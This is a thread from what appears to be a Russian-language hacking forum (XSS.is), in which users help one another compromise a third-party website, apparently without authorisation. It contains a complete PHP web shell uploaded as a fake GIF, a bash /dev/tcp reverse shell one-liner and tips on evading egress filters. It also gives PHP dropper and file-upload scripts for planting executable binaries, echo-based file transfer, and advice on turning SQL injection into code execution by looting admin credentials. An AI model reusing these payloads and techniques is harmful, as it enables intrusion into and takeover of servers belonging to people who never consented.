• XSS.stack #1 – первый литературный журнал от юзеров форума

Помогите пожалуйста. Возможно ли с sqlinj до rce?

Вобщем тут такой прикол, я нашел место, где картиночки залиются на сайте, и получается залить файлы с любым расширением, но эти расшираения ни на что не влияют, как и mime-type файла. Например у меня файл вебшелла залит на сервак, но как бы я не менял mime-type - работать пхп не хочет, но html отрабатывает как надо. И я в тупике, ребят, помогите пожалуйста:)

Пример скину как это выглядит тело реквеста:

Код:
------WebKitFormBoundaryAgf2YqC88rw0kCj1

Content-Disposition: form-data; name="item_image2_url"



123

------WebKitFormBoundaryAgf2YqC88rw0kCj1

Content-Disposition: form-data; name="image_2"; filename="sh.php"

Content-Type: image/gif



<?php

if (!empty($_POST['cmd'])) {

    $cmd = shell_exec($_POST['cmd']);

}

?>

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="utf-8">

    <meta http-equiv="X-UA-Compatible" content="IE=edge">

    <meta name="viewport" content="width=device-width, initial-scale=1">

    <title>Web Shell</title>

    <style>

        * {

            -webkit-box-sizing: border-box;

            box-sizing: border-box;

        }



        body {

            font-family: sans-serif;

            color: rgba(0, 0, 0, .75);

        }



        main {

            margin: auto;

            max-width: 850px;

        }



        pre,

        input,

        button {

            padding: 10px;

            border-radius: 5px;

            background-color: #efefef;

        }



        label {

            display: block;

        }



        input {

            width: 100%;

            background-color: #efefef;

            border: 2px solid transparent;

        }



        input:focus {

            outline: none;

            background: transparent;

            border: 2px solid #e6e6e6;

        }



        button {

            border: none;

            cursor: pointer;

            margin-left: 5px;

        }



        button:hover {

            background-color: #e6e6e6;

        }



        .form-group {

            display: -webkit-box;

            display: -ms-flexbox;

            display: flex;

            padding: 15px 0;

        }

    </style>



</head>



<body>

    <main>

        <h1>Web Shell</h1>

        <h2>Execute a command</h2>



        <form method="post">

            <label for="cmd"><strong>Command</strong></label>

            <div class="form-group">

                <input type="text" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>"

                       onfocus="this.setSelectionRange(this.value.length, this.value.length);" autofocus required>

                <button type="submit">Execute</button>

            </div>

        </form>



        <?php if ($_SERVER['REQUEST_METHOD'] === 'POST'): ?>

            <h2>Output</h2>

            <?php if (isset($cmd)): ?>

                <pre><?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?></pre>

            <?php else: ?>

                <pre><small>No result.</small></pre>

            <?php endif; ?>

        <?php endif; ?>

    </main>

</body>

</html>



------WebKitFormBoundaryAgf2YqC88rw0kCj1

Content-Disposition: form-data; name="item_image3_url"


и там дальше пошло так же


Обратите внимание на Content-type, с таким контентом хтмл отображался. Предвкушая вопросы: x-php,php,x-httpd-php(как то так) тоже пробовал, вебшеллы залиты, а толку ноль, хтмл работает (типо дизайн и инпут есть, функционала нету)
 
Так же если я в filename изменю расширение - расширение изменится, а отображаться все будет, то есть расширение тоже походу не влияет ни на что. Имя файла генерится на сервере, то есть там что то типо fdgregreg.php
 
Посаны. я дурак, шелл работает, просто всякие whoami, id и ls не ворк, юзер слишком урезанный. Теперь у меня другая проблема получается. Как из этого выходить теперь тогда?
 
Посаны. я дурак, шелл работает, просто всякие whoami, id и ls не ворк, юзер слишком урезанный. Теперь у меня другая проблема получается. Как из этого выходить теперь тогда?
  1. Возможно у юзера просто пустой $PATH, либо там только /sbin, например. Попадаются такие на шаред хостингах. Попробуй /usr/bin/ls и т.д. Или сначала export PATH=$PATH:/usr/bin:/bin:/usr/local/bin:/usr/sbin:/sbin:/usr/local/sbin и затем whoami, ls и т.п.
  2. Делать всё это удобнее, получив сначала реверс шелл. Что-то типа /bin/bash >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1 &. Исходящий траф может быть лимитирован портами 80, 443, слушай сразу на них. (Различные шеллы можно подсмотреть на гитхабе)
  3. В качестве last resort - пиши все необходимые действия, которые хочешь выполнить на компилируемом языке (c/go/rust/etc.), заливай и исполняй бинарник
  4. По LPE есть отличный ресурс - https://book.hacktricks.xyz/linux-hardening/privilege-escalation
 
  1. Возможно у юзера просто пустой $PATH, либо там только /sbin, например. Попадаются такие на шаред хостингах. Попробуй /usr/bin/ls и т.д. Или сначала export PATH=$PATH:/usr/bin:/bin:/usr/local/bin:/usr/sbin:/sbin:/usr/local/sbin и затем whoami, ls и т.п.
  2. Делать всё это удобнее, получив сначала реверс шелл. Что-то типа /bin/bash >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1 &. Исходящий траф может быть лимитирован портами 80, 443, слушай сразу на них. (Различные шеллы можно подсмотреть на гитхабе)
  3. В качестве last resort - пиши все необходимые действия, которые хочешь выполнить на компилируемом языке (c/go/rust/etc.), заливай и исполняй бинарник
  4. По LPE есть отличный ресурс - https://book.hacktricks.xyz/linux-hardening/privilege-escalation
Патч не пуст, дефолтный, как ты и скинул, все тоже самое. Я прочекал /bin, там только 2 бинаря - sh и какой то mini_sendmail, больше ничего нигде нету из бинарей.

А как мне заливать файл, если не работют всякие вгеты, курлы?
 
Но работают echo и printf, а так же bash скрипты пробовал, тоже работают, с помощью них файлы читал.
 
А как мне заливать файл, если не работют всякие вгеты, курлы?
Но работают echo и printf,
а base64? можно заливать файлы через
Код:
echo файл-закодированный-в-бейс | base64 -d > /path/to/file.bin
 
а base64? можно заливать файлы через
Код:
echo файл-закодированный-в-бейс | base64 -d > /path/to/file.bin
не, base64 нету:(
 
uuencode / uudecode?
 
uuencode / uudecode?
вроде нету. Но я могу просто делать echo wqewqewqe > 2.txt\.php как минимум и так создавать файл и обращаться к нему
 
залей простейший скрипт с формой ввода текста и названия файла, и пусть этот скрипт cохраняет введённый текст в указанный файл, типа
Код:
<? file_put_contents($_POST["path"],$_POST["contents"]); ?>
потом напиши другой скрипт и залей его через первый: пусть второй скрипт декодирует ввод из base64 и пишет в файл по указанному пути, гугли в сторону "base64 raw implementation in php".
так ты сможешь заливать и бинарники.
 
Развивая идею Dread Pirate Roberts, для загрузки можно запилить простую форму, типа такой
PHP:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Upload file</title>
</head>
<body>

<form method="post" enctype="multipart/form-data">
    <label>Select file
        <input type="file" name="file">
    </label>
    <br/><br/>
    <label>Make executable
        <input type="checkbox" name="executable">
    </label>
    <br/><br/>
    <input type="submit" value="Upload">
</form>

<?php

if (!array_key_exists("file", $_FILES)) {
    die();
}

$upload_dir = "/dev/shm";
$file_name = basename($_FILES["file"]["name"]);
$file_path = join("/", [$upload_dir, $file_name]);

if (move_uploaded_file($_FILES["file"]["tmp_name"], $file_path)) {
    if (isset($_POST["executable"])) {
        chmod($file_path, 0755);
    }
    echo "<p style='color: green'>File is successfully uploaded as $file_path</p>";
} else {
    echo "<p style='color: red'>Error uploading file</p>";
}
?>

</body>
</html>

Если загружаешь бинарник, убедись, что $upload_dir смонтирована без noexec, иначе не исполнится.
Вообще, если предполагаемые действия укладываются в max_execution_time и memory_limit, а также disabled_functions и open_basedir не мешают выполнить задуманное, то можно всю логику закодить прямо на php =)
 
"base64 raw implementation in php".
я что-то затупил, не надо никаких raw implementation, на хостингах никогда не блокируют функции base64_encode / base64_decode.

if (move_uploaded_file($_FILES["file"]["tmp_name"], $file_path)) {
и да, можно же просто сразу заливать бинарные файлы.
пойду спать, короче, всем хорошей пятницы.
 
Всем привет. Возник вопрос такой: Нашел скулю на сайте, залить вебшелл через классический метод не дает, больше пока ничего из методов повышения до RCE с sqlinj найти не могу, то ли я в шары долблюсь, то ли тема не особо раскрыта. Думаю тут может как то через манипуляцию с бд попробовать что то да сделать, но идея не рождается в голове. Вобщем прошу совета что можно сделать, заранее благодарю.
If you are not able to convert your sql injection into an RCE directly, try to get creative. Check the db you've dumped for possible credentials to admin panel, management panels or even user accounts.

From there you may be able to do something like change your profile picture or upload a file as logged in user then right click the image to see the link it saves it to. Upload png shell or a .php shell if it lets you upload files and visit the link it uploads to and continue your escalation from there.
 
If you are not able to convert your sql injection into an RCE directly, try to get creative. Check the db you've dumped for possible credentials to admin panel, management panels or even user accounts.

From there you may be able to do something like change your profile picture or upload a file as logged in user then right click the image to see the link it saves it to. Upload png shell or a .php shell if it lets you upload files and visit the link it uploads to and continue your escalation from there.
What if there is no way on the site to upload images anywhere, even in the admin panel? There is only the option to upload a csv file, but as I understand from the site’s source code, the contents of the file are parsed and immediately uploaded to the site, I’m not even completely sure that it is uploaded to the database. That is, the contents of the file are immediately displayed elsewhere on the site. (Website store)
 
Вполне залить можно через echo -ne 'bin_content_here' >> out_bin_here. сталкивался с такой же ситуацией. Еще как вариант можно попробовать через реверс шелл получить файл, например через scp
 
Вполне залить можно через echo -ne 'bin_content_here' >> out_bin_here. сталкивался с такой же ситуацией. Еще как вариант можно попробовать через реверс шелл получить файл, например через scp
ну и к тому же можешь просто через туже форму что ты залил php shell, залить любой другой файл
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх